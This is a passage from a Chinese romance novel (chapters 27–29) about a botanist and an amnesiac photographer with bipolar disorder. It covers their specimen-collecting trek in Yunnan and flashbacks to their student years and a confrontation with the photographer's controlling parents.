“我印象最深刻的,还是有一次大半夜的和老大一起出去挖野菜。”小七兴致勃勃地讲着。 这个挖野菜不是真的挖野菜,其实就是采集标本,只是他们喜欢这样说。 “那个晚上月黑风高,出门的时候我就知道肯定要发生点什么。” “然后呢?”宋朗白都快听笑了。 “然后我们就遇到了一队徒步的人,他们下山的时候遇到风雪耽误了,但又不能滞留,只能连夜下山。” 小七说到这里,季一南大概知道他要讲哪个故事,警告他别添油加醋地乱说。 “我真没有啊,”小七继续说,“我们遇到那一队人都是男生,就有个应该比我还小点儿的男大学生,一路都黏着一哥。我最开始真以为他走不动才这样,后来到半路一哥过来偷偷跟我说让我把他拉走,我才知道……” “懂了,”宋朗白笑起来,“他还挺会挑人啊。” “替一哥解释两句,他什么都没干,走的时候对方要电话都没给,只留了一个我的,后来他还打电话来问一哥的事儿,一哥在旁边特别冷漠地拒绝了。” 小七模仿当时季一南说话的样子:“对不起,我不喜欢你。” 他学得实在好笑,李不凡本来没什么表情,后来也跟着笑起来。 季一南没说话,只是偏头看了眼李不凡。 很快他的目光就被李不凡察觉,两人对视一眼,李不凡不出声地问他:“为什么看我?” “怕你误会。”季一南小声说。 “误会什么?”李不凡问。 “误会我骗你了,”季一南看到路边森林里有要采集的植物,把手里的塑料袋撑了撑,“我真的只追过你一个。” 他说这些话不是为了从李不凡这里要一个什么回答,只是单纯想再讲给他听。 骡子跟在旁边,季一南取下挂在它身上的一把大剪刀,和小七一起钻进树林里。 前几公里都是高海拔的森林,林间还积着雪,从高山上流淌下来的溪水几乎被冰封住了。 光线落在树林间,李不凡看见一只从树上蹿下来的松鼠,和宋朗白一起轻手轻脚地把相机架起来。 他们工作的时候,小柳就扛着摄像头,负责在旁边记录花絮。 有时候这种视频也很有价值,很多做IP的团队喜欢这种幕后的内容,总爱找他们要。 镜头里,松鼠埋头吃着松果,啃得旁若无人。 “我看我们改拍纪录片算了。”宋朗白轻声说。 “一哥你要上个安全带吗?” 李不凡听见小七说话,就直起身,转头去看他们。 骡子被季一南拉住了,他换了把镰刀,仰头估计了下树的高度,说:“不用了,能直接上去,我从这边树杈……小七你站在下面帮我看着。” “行。”小七点了下头。 季一南戴上手套,把手腕处的那几颗扣子一扣,先试了试树干的力度,接着像做单杠那样,手臂用力、小腹一卷,翻上了最低的树枝。 “小七,相机给我。”季一南慢慢地蹲下来,朝小七伸手。 采集之前要先拍照,相机挂在小七脖子上,他取的时候绳子被帽子卡了下,李不凡伸手帮忙把相机拿下来了,走到树下递给季一南。 “你小心点。” “知道了。”季一南说。 “别担心,”小七仰着头,手撑着树干,“我老大,可是我们研究所里新晋的爬树高手,全体评选的。” 其他几个人都笑了,只有李不凡连眼睛都没偏一下,盯着树上的人。 季一南采完标本,把镰刀挂回腰间,动作很慢地爬下来。 冲锋衣蹭了不少泥,季一南头发上还挂了几条生长在树干上的绿色枝条,很轻、毛茸茸的。他把那些枝条摘下来,也装进干净的塑料袋里。 几片轻飘飘的毛还沾在季一南头发上,李不凡抬手帮他摘掉了。 “这些是松萝,”季一南把塑料袋都递给小七,“只有环境好的地方,树木上才会长有这种地衣。” “你衣服脏了。”李不凡从口袋里拿出几张纸递给他。 季一南还轻轻喘着气,他脱掉手套,接过纸巾的指尖被冻得很红。这时李不凡才注意到他脸上也蹭脏了,他低声说了句算了,就抓起季一南的手腕,带他走到溪水边。 李不凡蹲下来,用纸蘸了蘸冰凉的水,给季一南弄冲锋衣上的泥。 等那些泥印差不多被擦掉,他才分神去给季一南擦脸。 “你脸也是……每次都把自己搞得这么狼狈吗?” 季一南眨了几下眼睛,似乎想说什么,最终还是咽下去。 李不凡很爱干净,他知道的。 从前他也总是住在山里,有时候是为了拍照,有时候是去做一些运动,比如徒步、攀岩,季一南只要有空就会和他一起。 他也见过李不凡特别狼狈的时候,摔了、擦伤了,可怜兮兮的满身是泥和血,他也不说一句疼,笑嘻嘻地来找季一南,先安慰他让他不要难过。 脸上的泥点擦干净以后,李不凡才看到一些擦伤。 “包里有药,到营地以后抹一点,”他察觉到季一南有些出神,“在想什么?” 季一南没说话,偏头看了一眼其他几个人,小柳不知道什么时候和小七在旁边玩上了水,宋朗白拿着相机一边拍一边感慨自己才华横溢。 注意到季一南的视线,李不凡也朝他们看过去,很快就被逗笑。 “他们平常……” 李不凡没把这句话说完,就被季一南很轻地啄了一口嘴唇。 “你干什么。”李不凡抬着唇角,手在季一南腰侧不轻不重地拍了下。 后半程都是上坡,越往高海拔走,植被就变得越矮。 好事是两侧的雪山更清晰了,脚下是草甸,为了景,李不凡坐在山坡上,几乎躺下来。 “拍到没?我看看。”宋朗白走到他身边。 两个人检查完照片,去找在另外一侧的季一南和小七。 他们凑头蹲在一起,季一南拿着剪刀,手里是一株叶片宽大、花瓣狭窄的蓝色植物。 “是浪穹紫堇。”小七开心地晃了晃封好的塑料袋。 一天时间不够他们走到目的地,到了适合扎营的位置大家就停下来,准备休息一晚。 他们总共五个人,帐篷带了两顶。 野外扎营,几个人都很有技巧,不需要那么多人手。 季一南看了眼时间和天气,跟小七商量:“你们搭帐篷,我再走两公里去放相机。” 他们这次打算去高山流石滩架相机,拍摄完整的植物生长过程。 现在是下午两点,虽然时间还早,但再走两公里,海拔能提升好几百米,山上天气多变,不能说是完全安全。 “我看过天气了,一小时内应该还好,流石滩我们去过的,就在前面,我很快就能回来。”季一南已经做好打算,他把红外相机从小七包里拿出来。 “好吧好吧,”小七知道季一南经验丰富,“那你注意安全。” “我一起吧。”李不凡不知道从什么时候开始站在季一南身后,他把暂时用不到的装备从包里拿出来,身上轻了不少。 很快他们继续往前走,李不凡没带相机,一路上只用眼睛观察着周围。 季一南好像已经把这条路走过很多遍了,他不需要看任何导航,也能准确地带着李不凡找到那片流石滩。 可能今天运气很好,季一南没花多少时间,就在流石滩中发现了刚刚发芽的半荷包紫堇。 红外相机需要简单伪装,季一南和李不凡一起蹲下来,用旁边的石头垒一个中空的石塔。 “你不是说你来云南也没几个月吗?”李不凡好奇,“怎么感觉你好像已经在这边生活很久了,这么多山这么多路,你哪里都清楚。” “我在实验室里待的时间少,在野外待的时间多。”季一南说。 “所以你最开始想做这件事,是因为喜欢户外是吗?”李不凡猜测。 “我的本硕的专业都是数学,博士才学了植物。” 和李不凡不同,季一南对自己的未来没有什么规划。他没有特别喜欢的事,也没有特别厌恶什么,单说兴趣爱好,远不及李不凡丰富。 因此在挑专业的时候,季一南也挑了一个外人看起来会觉得枯燥乏味,但会让他以后拥有更多选择的专业——数学。 威斯林顿学校的学费普遍很贵,但李不凡并不太想用家里的钱读书。 他卖掉了自己绝大部分的画,几乎凑齐四年的学费,决心和家里做切割。 到威斯林顿之后,尽管他们是最好的朋友,但也没有立刻住到一起,为此,季一南和李不凡甚至有过短暂的争执。 两个学校之间相隔三十五公里,虽然常常有早课,季一南还是想和李不凡一起租在他的学校旁边,自己可以买辆车,道路通畅的情况下,大约也只需要一个小时左右就能到学校。 但这个方案被李不凡反对,理由是季一南早课太早,晚课又太晚,总是来回影响他休息。李不凡总是明白他在想什么,又说希望季一南不要把他当成一个生活不能自理的病人看待。 他这样讲,季一南就没有别的话可说。 周末或者是没课的时候,季一南都会去李不凡那里,但每到躁期,李不凡都很喜欢去玩户外运动。可能是从小到大被限制得太多,到了好不容易能有一些自由的时候,李不凡玩得比大多数人狠。他去攀岩、潜水、滑雪,挑战一切能够挑战的运动,次数变得越来越频繁。他拍下的照片越来越多,顺理成章喜欢上了摄影,甚至在圈子里小有名气。 之后要说李不凡的病。刚去到威斯林顿时,李不凡的病情格外稳定,诞生了持续最长时间的“不发病”记录。 季一南每周会带他去一次心理咨询,从医生那里拿到的药也从未断过。 但李不凡也不是没有发作得厉害的时候。 在威斯林顿的第一个圣诞节,季一南去李不凡的学校,陪他和同学们一起参加了学院组织的聚会。 没像绝大多数男生一样西装革履,他们穿了李不凡买的同款外套和毛衣。李不凡和他介绍了一些自己的朋友,好多季一南在他的照片里见过。 坐下来吃东西以后,李不凡就没有再去和其他人聊天,只和季一南窝在角落的单人桌里讲话。 当晚的香槟度数有些高,他没在意,不知不觉喝了很多,和季一南聊起最近去爬过的山。 “我们在那里待了一个晚上,山上风好大,我一个人住一个帐篷,夜里能听见风在咆哮,真的是咆哮。”李不凡的手搭在季一南后腰,他买的毛衣料子柔软。室内有些热,季一南就把袖子随意地朝上拨了一点,黑色紧身的高领毛衣能恰到好处地衬出他的宽肩窄腰,和身上合适的肌肉。 季一南看他眼睛很亮,讲话的时候几乎没有停顿,反应过来他可能进入了躁期。 舞池的音乐进入高潮,李不凡拉着季一南站起来,笑着和他说:“你知道那天晚上风是怎么吹的吗?” 季一南只来得及拿走两个人的外套,就被李不凡牵着手跑出宴会厅。 雪下得很深,踩在脚下是松软的,落在身上却如棉絮一样。 李不凡跑得跌跌撞撞,似乎还有醉了的原因。 他带着季一南跑过几条街,穿过明亮的教学楼,一直到堆满枯藤和白雪的老墙下。 “其实我早就想这么做了……”李不凡轻轻一跳,双手掌住老墙顶,两条腿在墙上一蹬,便翻了上去,又很快地朝另一侧跳下。 “李不凡!”季一南叫他。 墙面上掉了几块砖,露出一道缝隙,李不凡弯下腰,把一对眼睛放在那空隙中。 “你快过来,”他说,“时间要到了。” 季一南不知道李不凡说的“时间”是指什么,他的身体表面浮着一层热气,脑子却像被寒风吹得冻住了。他先把两件外套往墙里扔,再学李不凡的样子,两三步就翻了过去。 墙的那一侧是干枯的草地,季一南捡起衣服,跟上李不凡,朝草地中央的山谷奔跑。 忽然,沉闷的空气中响起一声汽笛的长鸣,两道金黄色的灯光照破黑暗的雪夜。从那山谷中开出一辆陈旧的绿皮火车,裹杂凌乱的风,轰隆轰隆沿着脚下的轨道往前。 李不凡还在跑,他张开双臂,好像在举行某种热烈的欢迎仪式。他的头发被吹得很乱,眼睛也被雪糊住了,但他还在跑,从没停下,直到栽倒在雪地里。 那列火车很短,长鸣着穿过了山谷,只留下遥远渺小的影子,和还未散去的烟囱味道。 季一南撑着膝盖喘气,走了两步去拉李不凡,却被他一把拽倒。眼前李不凡的脸放得格外大,比起意识到发生了什么,季一南先感受到李不凡的嘴唇。 很奇怪,明明冻得人牙齿打颤,季一南却忍不住吻上去,他的舌头舔得极深,像要汲取李不凡喉咙深处的最后一点温暖。 他的手撑在雪地上,他摸到厚的、冷的雪,在那雪里摸索着属于李不凡的手。季一南喉结滚动,吻他吻得很厉害,也毫不犹豫地扣住了李不凡的手指,将他压在雪地里。李不凡有些呼吸不上,可又享受这种有些粗暴的吻,控制不住地呢喃出声,才让季一南回了神。 他翻过身,倒在另一侧的雪地里,听李不凡喘着气问:“你感受到了吗?那天晚上山上吹着这样的风。” 在那一刻,季一南抬起眼,望着飘摇的雪花,看见了风的轨迹。 天地安静,划过的列车像夜空中某颗陨落的星星,季一南好像忽然懂得李不凡喜欢大自然的原因。 离开学校,他们总算穿上外套,牵着手散步回李不凡的公寓。 接近凌晨的城市街道上空无一人,狭窄的道路只偶尔有几辆车通过。 雪已经很深了,季一南担心李不凡感冒,把他外套的领子拉得很高。 两侧的尖顶楼房像古时的城堡,李不凡在空旷的街道上倒退着走了几步,盯着季一南的眼睛。 “你知道怎样可以不让雪淋到头发吗?” 季一南先是思考了片刻,才摇了摇头。 “好吧,那在这一点上,你要承认我比你聪明。”李不凡用食指隔空点了一下季一南,转身跑到不远处的路口,抱起地上三角形的路障套在头上,模仿植物大战僵尸里的路障僵尸,缓慢且僵硬地朝季一南走来。 有那么几秒,季一南承认自己呆滞住了,反应过来以后,才抱起手臂走上去,笑着问:“小僵尸会跳舞吗?” “哇,雪天跳舞,很浪漫的,”李不凡的声音闷闷的,“但刚才他不是在跳舞,只是在走路,他要走得很慢很慢,才能不摔倒。” 可能李不凡只盯着自己的脚下,没有注意其他,所以当季一南牵起他的一只手时,李不凡很意外地停下了脚步,“可是我不会让他摔倒。” 季一南看不见李不凡的神色,却感觉到了他的停顿。 鹅毛大雪里,李不凡抬手摘掉了路障,露出被冻得发红的鼻子和眼睛。 “你不会觉得他很麻烦吗?在他身边的人总是要担心他,他自己也会担心自己,因为他会做出一些奇怪的事情,就像僵尸会吃掉植物和人的脑子一样,让别人害怕,”李不凡很艰难地抬了抬唇角,“就像现在……季一南,我好像刚刚从轻飘飘的雪里掉到地上。” 季一南明白了他的意思,有时候从躁期到郁期只是一瞬间的事情,谁也无法预料那个瞬间会在什么时刻来临。 “不会,”季一南走过去,在李不凡身前蹲下,微微侧过脸,“如果小僵尸实在不好走路,可以选择趴在我的身上。” 李不凡往前走了两步,像扑倒进一张舒适柔软的床,靠上了季一南宽阔的后背。 季一南很轻松地背起他,一只手托着他的屁股,另一只手拎起李不凡放下的路障,往前走了几步,把路障摆回了原来的位置。 “回家了,因为小僵尸也需要睡觉。”季一南说。 第28章 推门进公寓时,暖气融化了两人身上的雪。 季一南先按开了门廊的灯,稳稳地把李不凡放下。灯光把他发顶的水珠照得金灿灿的,李不凡全身都湿了,不像什么小僵尸,像流落街头的小猫。 “别感冒了。”季一南转身进了房间,想找一张干毛巾,弯腰在衣柜里摸索时,被李不凡从身后松松地圈住。 在暖气充足的卧室里,李不凡的体温反而变得更明显。他的心跳很慢,隔着衣服清晰地传到季一南的脊背上,让季一南想起他们在礼堂里听到的音乐声。 “怎么了?”季一南找到了毛巾,转过身,搭在李不凡的头发上,替他擦了擦。 每到郁期,李不凡就会变得格外迟钝,不想说话,不想动,仿佛失去了一切欲望,只有难过的时候有力气。可现在李不凡的眼睛在毛巾下注视着季一南,却好像很用力。 “今天晚上你会留下来。”李不凡说。 “当然。”季一南垂下眼。 这是他来的时候就和李不凡说好的。 李不凡凑上来,很轻地在季一南唇角亲了一下。要退开的时候,季一南揽住他的肩,偏头吻了下去。 对季一南来说,这是一个表面安静,实际却很滚烫的吻。 他知道李不凡这时候可能并不想和他做,但一闭眼,他就想到那个在空旷街道上笨拙行走的李不凡,情感又变得难以压抑。 季一南把李不凡搂得很紧,像要彻底把他揉进自己的身体里,这样以后他就再也不会迷路,或许也不会难受,不会痛苦,不用戴着一顶大大的帽子才能挡住雪,有季一南为他遮风挡雨。 可他又知道,这不是李不凡想要的人生。 浴室水声淋漓,季一南让李不凡先去洗澡,替他准备好了换洗衣服放在门外。 李不凡更喜欢昏暗的空间,季一南就把灯多余的灯关掉,只开了床头稍暗的一盏。他走到李不凡的书桌前,看墙上多出的十几张照片。 绝大多数季一南都见过,是李不凡出去玩的时候拍下来的,但他没想到李不凡印出了这么多张。一旁的书架上摆放着各式各样的相机,季一南没碰,只是用手机拍了一张照片。他想到如果李不凡开始喜欢摄影,以后他也许可以送他不同的相机或者镜头。 没过多久,浴室的门打开,李不凡光着身子,在季一南身后穿好了衣服。 李不凡指了指照片,“我以前以为相机只能拍下自己看到的,画画才更能表现内心的想法,现在发现其实照片也可以是一种表达。” “如果以后你有时间,也想去的话,可以和我一起,我带你去看看那些好看的山。”李不凡说。 季一南说了好。 夜晚,季一南躺在客房,因为有些担心所以睡不着,摸黑走到了李不凡的房间里。 床头亮着一盏小夜灯,李不凡似乎睡着了。他走到床边,蹲下来看了李不凡很久,直到李不凡的睫毛很轻地动了下。 “你在这里干什么?”他模糊地问。 季一南站起来,发觉腿有些麻,还是熟练地编出了借口:“昨天晚上看了一部很恐怖的电影,我一个人害怕,睡不着。” 李不凡半信半疑地睁开眼,又问他:“你是想和我一起睡吗?” 似乎是为了证明高中毕业时李不凡和季一南说的“不喜欢他”,除了做的时候,他们很少很少会睡在一起。 但季一南耍无赖的时候并不少。 “如果你同意的话,”季一南看李不凡犹豫,就又说,“没关系的,我再去看一部喜剧,也许就能睡着了。” 他要走,手却被李不凡牵住,身后传来弱弱的声音:“好吧,就一晚。” 季一南坐在床沿,先关了灯,才在黑暗里掀开李不凡的被子。他下意识用手抱住李不凡,却摸到他光果的皮肤。 “有时候我喜欢被被子全部包住的感觉,尤其是郁期的时候。”李不凡慢慢地说。 季一南嗯了一声,躺得不那么端正,还是收紧了手臂。李不凡挣扎了两下,也就放弃了。 闭眼后,季一南习惯性地碰了碰李不凡的后背还有小臂。他记得很清楚,这两处是曾经李方知打伤过的地方,他给李不凡涂了很多药,花了很长时间才等到好。那时他总是这样碰他的伤口,直到它们完全重生成完好的皮肤。 睡着前,李不凡很轻地和季一南重申:“就只有今天,今天是特别的一天。” ——用以强调他们的关系。 季一南听得太多,其实早就不怎么当回事。是朋友也无所谓,李不凡只会这样被他抱,旁人绝无可能。也许是因为李不凡的病,他不想给季一南造成麻烦。又也许是因为李不凡从小就只和他待在一起,所以只懂友情。 会有今天的状况,季一南也要承担一部分责任。他只糊弄地回答:“我知道了。” 但心里却在想,还会有下一个特别的一天。 如果要在季一南的记忆里找出称得上完美的时刻,那季一南会提到这一夜。 虽然李不凡很安静,但前所未有地安心。 因为突然降临的郁期,李不凡暂时没办法去画画。 他在家里休息了四五天,才和季一南一起去了学校里的画室,继续完成这一年的作业。 老师没有给他们任何限制,所以李不凡也画得很随心。 属于他的工位上摆了很多画布,有些画的内容差不多,有些差得很多,都还只是草稿的阶段。 李不凡还没有想好画什么。 他画画的时候季一南从来不打扰,看李不凡开始思考,他就转身说自己去买咖啡。 学校内的咖啡店琳琅满目,季一南偏偏选了校外的一家。 点完咖啡,他还想给李不凡挑一只蛋糕。 玻璃柜里的蛋糕款式多样,季一南挑了李不凡喜欢的水果味。 差不多十五分钟以后,他拎着蛋糕和两杯咖啡,准备回画室找李不凡。 走在学校的小道上,他偶遇昨夜晚会里见过的一个男生,正想开口打招呼,对方却惊讶一瞬,先说:“你好,你跟Jasper在一起吗?” “我去找他。”季一南说。 “他爸爸妈妈来了诶,就在学校外面,但他们好像只知道Jasper的年级和专业,不知道为什么找不到他。我刚才路过的时候他们拉着我问了,但我说我不知道Jasper在哪里,”同学说,“你认识他父母吗?” 季一南也不明白为什么李方知和万玫突然造访,了解情况后点了点头,说他会去找他们。 但其实李不凡很不想见到他们,季一南非常清楚这一点。 为了不让李不凡被突然找到,季一南去了校门口。 在很远的树下,季一南就看见了靠着车门的李方知。 大概半年多没有见过这个人,季一南没觉得他有太大变化,就连那种闲散时看着路边的神色,都充满了高高在上的傲气。 等季一南几乎走到李方知身边,他才注意到他,意外地说:“一南,你怎么在这里。” 听到季一南的名字,万玫也撑着伞,推开车门走下来。 “不凡不接我们电话,他是不是在学校?”万玫垂眼,瞥见季一南手里的蛋糕和咖啡,“你来找他玩吗?还买了这么多东西。” 季一南没回答万玫的问题,“叔叔阿姨,你们怎么突然来这里了。” “来看看他,留学大半年不和家里练习,现在也不接电话了,”万玫抿了抿唇,看上去有些生气,“翅膀硬了想飞是吧。” “一南,你和李不凡说,前几天我们卖掉了他的一幅画,他不来见我们,这笔钱就别想拿到了。”李方知面无表情地说。 “多少?”季一南问。 “一百五十万,”李方知嗤笑一声,“蚊子腿一样的肉。” 一百五十万。 对现在的李不凡来说是很大的一笔钱。 季一南只思索了片刻,就说:“他不会来见你们的。” “叔叔阿姨,我不知道你们是怎么定义自己现在的行为的。从小到大,李不凡是怎么长大的,我想你们自己心里都有数。或许在你们眼里,你们尽到了做父母的责任,但父母其实不是这样的,家庭也不是这样的,它不应该是一个用各种手段迫使人服从的环境。” 李方知和万玫交换了一个错愕的眼神。 “你们应该很早就知道李不凡的病,但你们真的不懂他为什么会得这种病吗?还是你们真的以为,这只是一种矫情呢?以前他还小,可能不太明白你们在做对他不好的事,现在他长大了,他有资格选择自己的人生要怎么过,有资格选择和谁联系不和谁联系,”季一南尽量镇定地说,“他不想见到你们,请你们离开。” 李方知没料到季一南的直接,他脸色难看地反驳:“他从小到大都是我养大的,本来就应该听我的,何况他才多大?你才多大?刚刚成年,就以为自己已经看透这个世界,看透这个世界上的人了吗?我告诉你,你们离这个世界还远着呢。” 其实李方知的话说到了后面,季一南已经没有再听下去。 他只是想起很多次听到过的那些李不凡家里模糊的争吵,他知道李不凡从小到大面对的指责、贬低,只会比此时此刻多更多。他难以想象李不凡听到这些话会是怎样的心情,难以想象当年那个开心的、乐观的、受很多欢迎的小男孩,变成现在的样子。 如果李不凡有一个正常的家,是不是会拥有最美好、最耀眼的一段时光。 如果他没有生病,又该多爱自己。 可是这些他都错过了,好不容易才挽回那么少少的一点,季一南会保护到底。 “和您争执没有任何意义,我也只是来告诉您。”季一南看了万玫一眼,那一眼很平静,却似乎让万玫产生一种难以面对的羞耻,她偏头遮了下侧脸,季一南就继续说:“你们可以回家了。” 他讲完话,便不再回头地朝学校里走。 很不凑巧的是,回去的路上忽然下了雨。本来只是短暂出门,季一南也没有带伞。他立起外套的帽子,拿出手机给自己的师兄发了一条消息:【之前你和我说的那个项目,还能做吗?】 走到画室楼下,一颗石子滚到季一南脚边。 他顺着石子滚出的方向看去,李不凡戴着羽绒服的厚厚的帽子,蹲在一片灌木丛下,白雪堆积在叶片上,像一朵一朵连片的花。 “本来想出来找你,没想到一出门就下雨了,我不想回去,就在这里等你。”李不凡抬起脸,看见季一南手里的蛋糕,有些惊讶:“你还买蛋糕了。” “咖啡店里看到的。”季一南拎着蛋糕,走到李不凡身边,和他一起躲进灌木丛里。 刚从房间里出来,李不凡身上还很暖,他很慢地靠到季一南肩膀,鼻尖红着,拉起季一南一只手,捧在自己掌心里:“你去哪里买蛋糕了?走了很远吗?这么冷……” “我没有冷。”季一南偏过脸,用下巴去碰李不凡的额头。 雨水连续地落在叶片上,只有这片又小又窄的地方没有被淋湿。 “现在想吃蛋糕吗?”季一南问。 “嗯……”李不凡缓慢地眨眨眼,也点了下头。 季一南拆着蛋糕盒:“怎么下来找我。” “画不出来,不想在里面待着,”李不凡帮他,把那只蛋糕端在手里,“居然还有一只小兔子。” “已经有点化了。”季一南说。 他拿叉子挖了一口,递到李不凡唇边,“你先尝尝。” 李不凡用舌尖舔掉了蛋糕,说蛋糕好吃是好吃,但你下次不要去那么久了,季一南点点头,握住他的手和他一起把蛋糕拿好,凑过去亲了亲他。 雨不知道什么时候会停,但和李不凡一起吃了蛋糕,是那天值得记住的好事之一。 这一个星期恰好是季一南学院的ReadingWeek,他才有时间过来陪李不凡。 到晚上要走的时候,李不凡虽然没有说什么,却表现得很不舍。 站在城际列车的车站外,李不凡抱住季一南,把整张脸都埋进他的衣服里,迟迟没有松手。 季一南摸了摸他的后脑,说等到下个周末,自己还会过来。李不凡从他身上抬起脸,忽然说:“季一南,最近我发现,我一个人租这么大的公寓,还是有点太贵了,你知道的,我已经不向家里要钱了,现在的房租对我来说很有负担。我想了想,我们还是一起住吧,在我们两个的学校中间,选一个你喜欢的房子。你不用考虑我,我不需要太大的,房租我们AA,做室友。 “但是你要做好我经常给你添麻烦的准备,有时候我……” “你从来不是我的麻烦。”季一南靠近,吻了吻李不凡。 季一南有一套完整全面的价值观,在这套价值观里,排在首位的是李不凡和妈妈。 比如如果房子让季一南来选,他一定不会挑离李不凡的学校太远的地方。 比如他十分明确,替李不凡拒绝李方知和万玫,是特别正确的事。 但让李不凡失去一百五十万,又是十分错误的。 在没有和李不凡提前说的情况下,季一南私自定下了一套可以步行到他学校的公寓。等到李不凡知道真相小发雷霆的时候,房租季一南已经付过,不能退掉了。 除了在量化公司做Researcher的实习以外,季一南还参与了师兄的商业项目,在里面帮他们做底层代码的搭建。两份工作强度都不小,但好消息是都只需要季一南远程办公。 因为不想在太晚的时间开车,季一南通常会在下课后先往李不凡的学校赶,再去他们学校可以通宵的教学楼里找一间自习教室完成工作。 大概一年之后,他拿着存满一百五十万的银行卡,和李不凡说他的画卖到了很高的价格,他替李方知和万玫把钱转给李不凡。 季一南对这一百五十万的来之不易并没有深刻体会,兼职对他来说只是按部就班。至于那个和师兄合作的项目,最后能有成果,也只是意外之喜。 其中唯一记得的,是他在公寓和学校之间的公路上给李不凡拍过的几次日出和日落。 直到毕业,季一南大约在这三十五公里上往返了一千四百次。 但心里始终只有两种情绪,一种是他很想李不凡,另一种是马上就要见到李不凡了很开心。即使看向仪表盘上累计的公里数,他也只觉得那算是他和李不凡之间,某种珍贵的回忆。 第29章 季一南把红外相机藏进堆好的“石塔”里,打开手机测试。 “我以前经常和我的朋友一起去野外,他喜欢户外运动,我只是陪他,”季一南说,“后来我发现我很喜欢观察一路上遇到的植物,越观察,越觉得有意思。到硕士阶段,我就换了专业。 “我最开始也以为自己只是一时兴起,因为很多人的工作都和自己的专业没什么关系,我当时就想,只要我学的时候喜欢就好了,不用考虑太多,因为这个想法我后来还读了硕士博士,并且提前毕业了,先在国外做了一段时间高校老师,才回到国内,进了云南的研究所。” “原来是这样,”李不凡侧过脸,“你好优秀啊。” “那你呢?”季一南问,“在你查到的东西里,你有没有了解到自己的经历。” “细节不清楚,但大致的时间线是有的。” 相机安装好了,李不凡站起身,和季一南一起下山。 “我本科在威斯林顿留学,在大学期间就开始摄影,但我的专业是油画。毕业之后我做了自由摄影师,经常去玩一些极限运动。在国外待了几年,我回国了,独立接一些摄影的工作。” “你有想过找回之前的记忆吗?”季一南问。 李不凡没有立刻回答,想过以后,他反而很轻地笑了一声。 “比起找回之前的记忆,我现在更好奇我为什么会失忆。我和你说过,我以前患有双相,我患病的原因一定和我以前的经历有关系,但失去记忆之后这些好像就没办法影响我了,所以我现在几乎也不怎么受这个病影响。 “而且我也想过,从我失忆到现在已经过去一个多月了,这期间除了我刚醒时联系过我父母,还有因为工作联系我的宋朗白和小柳,没有其他人来找过我,这说明我从前可能确实也没有什么特别好的朋友。” 下坡时路上有很多石块,李不凡垂着头,专心地看着路面。 “这么一算,好像那些过去对我来说没有那么重要,我觉得哪怕我一直像现在这样什么都不知道,好像也还可以。 “不过离开香格里拉之后,我还是会去咨询医生。能回想起来可以,想不起来就算了,我不纠结。” “你能想明白就很好。”季一南说。 “不过我也有觉得奇怪的地方,”李不凡抬起手,摸了摸耳后的那块小疤,“比如我不知道这道伤疤是怎么来的,它位置不太对。” “为什么说不太对?” “因为……”李不凡也陷入思考,“以前我的躁郁症很严重,按理说来,我应该会有一些自我伤害的行为,但我身上的那些伤疤都不像我自己弄上去的。我去过那么多雪山,玩过那么多极限运动,哪一次都有可能受伤,所以伤疤不奇怪,奇怪的是,我居然好像完全没有尝试过伤害自己。” 季一南抬起手,温热的掌心在李不凡的后颈搭了下。 “这样不好吗?”他很轻地笑了。 李不凡手机在外套的口袋里响了一声,他感觉到,拿出手机看,发现是下周出发威斯林顿的航班通知。 在国外的工作是几个月前就订好的,李不凡查看过,那是一次国际学术会议的拍摄邀请,虽然不知道自己之前为什么会接下这份工作,但契约精神他有。 放下手机以后,李不凡没有和季一南提这件事。 等他们回到营地,帐篷已经搭好了,小柳坐在篝火旁边,正在给大家做晚餐。 “这么快就回来了。”小七举了下手里的一根胡萝卜。 李不凡顺手拿走,喂给旁边的一只骡子吃,“我们运气好,没花多少时间就找到你们想拍的花了。” “行,那你们喂骡子,我去帮小柳做饭。”小七说。 季一南在旁边的大石块上坐下来,从旁边的袋子里又找出一根胡萝卜,递到骡子嘴边。 天已经暗了,周围是深蓝色,在季一南身后,篝火摇晃着闪烁着,薄薄的烟雾覆盖在他身上,像一层纱。 一个人对另一个人的吸引力,是解释不清的事。 例如李不凡意识到,只要他的视线范围内有季一南的影子,他就没办法不注意他。 李不凡低着脸,在他的角度,季一南只露出一小部分眼睛、鼻梁和嘴唇。 季一南是单眼皮,眼廓狭长,眉毛到眼皮的距离稍短,哪怕只是没什么表情地看着一个人,也显得很深情。 如同第一次,在那个窗外满是风雨的酒店大堂,李不凡一见到他,就好像遇到自己的宿命。 回过神后,李不凡把骡子咬了一半的胡萝卜塞进季一南手里,转身去翻他们的背包,从里面找出一台相机。 他没再走过去,就坐在不远的地方拍季一南。等拍完了照片,他才走到季一南身边给他看。 快门按了许多下,李不凡一直往后按相册,等出现一张他和季一南的照片时,他才发现自己拿的是宋朗白的相机。 照片里他和季一南站得很近,背景是树林,身边是溪水。季一南半拢着他,一只手盖在他的腰后,整个人微微往前倾。在他身前的李不凡只露出一部分的侧脸,能看出是笑着的。 李不凡手指没动,季一南从他的身后圈住他,掌心贴住李不凡握着相机的手,问:“这张照片能不能发给我?” “应该是宋朗白抓拍的……” 季一南轻轻嗯了一声,说出李不凡没说的话:“那他知道了。” 李不凡失笑,“那怎么办?” “我不介意。” “你有没有想过,”李不凡忽然好奇,“如果你追不到我怎么办?” 季一南往沸腾的热水里放了几个面饼,垂眼说:“那就一直追。” “如果我都要走了,你还没追到呢?” 有几秒钟季一南没说话,他只是问:“你要去哪里?” 李不凡想了想,“去下一座山。” 胡萝卜喂完,季一南拍了拍手上的灰。 “那也没关系,以后我们还会一起去看很多很多山。要怎么处理好我们之间距离的问题,这是在一起之后我们应该一起考虑的事。如果那时你也喜欢我的话,就不会总觉得这是一个没办法解决的问题。 “我只是想说一下我的看法,我发现有些话我不说你未必知道,我是这样想的。” 因为季一南的话,李不凡沉默下来。 耳边飘来一阵铃铛的声音,李不凡偏过头,一群脖子上挂着铜铃的牦牛从营地旁边慢悠悠地走过。 “就在我们之前去的那个流石滩往上几百米有一个牧场,这些牦牛应该是从那边过来的,”季一南自然地揭过刚才的话题,“而且我还发现,我们架的相机还拍到了黑颈鹤,那是国家一级保护动物。” 忽然小七在旁边大喊一声:“饭好了,都来啊!” 李不凡偏过头说知道了,拿着相机站起来。 他们带的食物很简单,以补充能量为主。 累了一整天,大家都饿了,吃东西的时候狼吞虎咽的,连最爱聊天的小七也没说话。 临睡前大家分了分各自守夜的时间段,就回了帐篷。 标本需要及时处理,至少要先完成编号和拍照。 每次采集,季一南都会连同标本制作的工具一并带齐。 帐篷里灯不算很亮,李不凡把季一南的相机架起来,给那些标本拍照片。 季一南坐在他身边,等他拍好,就用报纸和瓦楞纸把标本压住,堆叠在一起,先做简单的脱水和干燥。 